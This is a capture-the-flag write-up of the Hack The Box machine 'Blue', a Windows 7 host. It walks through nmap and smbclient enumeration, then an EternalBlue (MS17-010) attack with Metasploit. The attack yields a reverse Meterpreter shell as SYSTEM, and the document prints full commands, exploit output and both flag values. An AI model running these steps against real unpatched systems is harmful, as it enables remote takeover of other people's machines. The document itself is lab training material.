

HTB — Blue (Windows) Writeup

Difficulty: Easy | OS: Windows | IP: 10.129.17.70

Status: **Rooted**

Author: Lina Hamadache

Summary

Blue is a Windows 7 machine vulnerable to EternalBlue (MS17-010), one of the most famous exploits in history. It gives you direct SYSTEM access with no privilege escalation needed. Classic machine, great for learning the basics of SMB enumeration and Metasploit.

Recon

Port Scan

I started with a full nmap scan to find all open ports and services:

```
nmap -sV -sC -p- -oN blue_scan.txt 10.129.17.70
```

Results (excluding 5-digit ports 49152+):

Port	Service	Version
135	msrpc	Microsoft Windows RPC
139	netbios-ssn	Microsoft Windows netbios-ssn
445	microsoft-ds	Windows 7 Professional SP1

Answer: 3 open TCP ports

Key info from the scan:

- OS: Windows 7 Professional Service Pack 1
- Hostname: HARIS-PC
- SMB message signing: **disabled** (dangerous)

Enumeration

SMB Shares

What is SMB?

SMB (Server Message Block) is a network protocol that lets computers share files, folders, and printers over a network. Port 445 is where it runs. Think of it like a shared folder system over the network.

I listed all available shares with anonymous access:

```

[*]$ nmap -sV -sC -p- -oN blue_scan.txt 10.129.17.70
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-03-29 12:12 CDT
Nmap scan report for 10.129.17.70
Host is up (0.072s latency).
Not shown: 65526 closed tcp ports (reset)
PORT      STATE SERVICE      VERSION
135/tcp    open  msrpc        Microsoft Windows RPC
139/tcp    open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp    open  microsoft-ds  Windows 7 Professional 7601 Service Pack 1 microsof
t-ds (workgroup: WORKGROUP)
49152/tcp  open  msrpc        Microsoft Windows RPC
49153/tcp  open  msrpc        Microsoft Windows RPC
49154/tcp  open  msrpc        Microsoft Windows RPC
49155/tcp  open  msrpc        Microsoft Windows RPC
49156/tcp  open  msrpc        Microsoft Windows RPC
49157/tcp  open  msrpc        Microsoft Windows RPC
Service Info: Host: HARIS-PC; OS: Windows; CPE: cpe:/o:microsoft:windows

```

Figure 1: nmap scan results

```
smbclient -L //10.129.17.70 -N
```

Share	Type	Comment
ADMIN\$	Disk	Remote Admin
C\$	Disk	Default share
IPC\$	IPC	Remote IPC
Share	Disk	—
Users	Disk	—

Answer: 5 SMB shares

Note: the error Unable to connect with SMB1 at the bottom is normal — ignore it, the listing worked fine.

Vulnerability Scan

```
nmap --script vuln -p 445 10.129.17.70
```

The scan confirmed the machine is vulnerable to **MS17-010 (EternalBlue)**:

```

smb-vuln-ms17-010: VULNERABLE
CVE: CVE-2017-0143
Risk factor: HIGH

```

Microsoft Security Bulletin: MS17-010

```
49156/tcp open  msrpc      Microsoft Windows RPC
49157/tcp open  msrpc      Microsoft Windows RPC
Service Info: Host: HARIS-PC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: -19m58s, deviation: 34m37s, median: 0s
|_smb2-time:
|   date: 2026-03-29T17:16:13
|_  start_date: 2026-03-29T16:52:51
|_smb2-security-mode:
|   2:1:0:
|_  Message signing enabled but not required
|_smb-os-discovery:
|   OS: Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional 6.1)
|   OS CPE: cpe:/o:microsoft:windows_7::sp1:professional
|   Computer name: haris-PC
|   NetBIOS computer name: HARIS-PC\x00
```

Figure 2: nmap script results — OS and hostname

A Little Context — WannaCry

In May 2017, a worm called **WannaCry** spread across the internet using MS17-010. It needed no user interaction — it jumped from machine to machine automatically. It hit 200,000+ computers in 150 countries in just a few days, taking down hospitals, companies, and government systems. A researcher stopped it by registering a kill-switch domain for \$10.69. This is why patching matters.

Exploitation

Metasploit — EternalBlue

```
msfconsole
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 10.129.17.70
set LHOST 10.10.15.155
run
```

The exploit worked and gave a Meterpreter shell. Running `getuid` confirmed:

```
Server username: NT AUTHORITY\SYSTEM
```

Direct SYSTEM access — no privilege escalation needed.

Flags

From the Meterpreter shell, I dropped into a Windows shell and grabbed both flags:

```

[*]$ smbclient -L //10.129.17.70 -N

      Sharename      Type      Comment
      -
ADMIN$      Disk      Remote Admin
C$          Disk      Default share
IPC$        IPC       Remote IPC
Share       Disk
Users       Disk

Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.129.17.70 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available

```

Figure 3: smbclient share listing

```

Host script results:
|_smb-vuln-ms10-061: NT_STATUS_OBJECT_NAME_NOT_FOUND
| smb-vuln-ms17-010:
|   VULNERABLE:
|   Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
|   State: VULNERABLE
|   IDs: CVE:CVE-2017-0143
|   Risk factor: HIGH
|   A critical remote code execution vulnerability exists in Microsoft SMBv1
|   servers (ms17-010).

```

Figure 4: vuln scan confirming MS17-010

```
meterpreter > shell
```

User flag:

```
type "C:\Users\haris\Desktop\user.txt"
```

Root flag:

```
type "C:\Users\Administrator\Desktop\root.txt"
```

What I Learned

- How to run a proper nmap scan and read its output
- What SMB is and how to enumerate shares with smbclient
- How to use nmap -script vuln to find known vulnerabilities
- What MS17-010 / EternalBlue is and why it is so dangerous

```
[msf](Jobs:0 Agents:0) >> use exploit/windows/smb/ms17_010_eternalblue
[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
[msf](Jobs:0 Agents:0) exploit(windows/smb/ms17_010_eternalblue) >> set RHOSTS 10.129.17.70
RHOSTS => 10.129.17.70
[msf](Jobs:0 Agents:0) exploit(windows/smb/ms17_010_eternalblue) >> set LHOST 10.10.15.155
LHOST => 10.10.15.155
[msf](Jobs:0 Agents:0) exploit(windows/smb/ms17_010_eternalblue) >> run
[*] Started reverse TCP handler on 10.10.15.155:4444
[*] 10.129.17.70:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 10.129.17.70:445 - Host is likely VULNERABLE to MS17-010! - Windows 7 Professional 7601 Service Pack 1 x64 (64-bit)
/usr/share/metasploit-framework/vendor/bundle/ruby/3.1.0/gems/recog-3.1.17/lib/r
```

Figure 5: Metasploit exploit running

```
(Meterpreter 1)(C:\Windows\system32) > getuid
Server username: NT AUTHORITY\SYSTEM
```

Figure 6: getuid showing NT AUTHORITY\SYSTEM

- How to use Metasploit to exploit a real vulnerability
- Windows 7 without patches = instant SYSTEM access

Tools Used

- `nmap` — port scanning and vulnerability detection
- `smbclient` — SMB share enumeration
- `metasploit` — exploitation framework

```
(Meterpreter 1)(C:\Windows\system32) > shell
Process 2248 created.
Channel 1 created.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.

C:\Windows\system32>type "C:\Users\haris\Desktop\user.txt"
type "C:\Users\haris\Desktop\user.txt"
76352bf0a3ae72bdb745539077ae3801

C:\Windows\system32>type "C:\Users\Administrator\Desktop\root.txt"
type "C:\Users\Administrator\Desktop\root.txt"
7740fc247495bf7ee0ae404d35d06d41

C:\Windows\system32>
```

Figure 7: User and root flags captured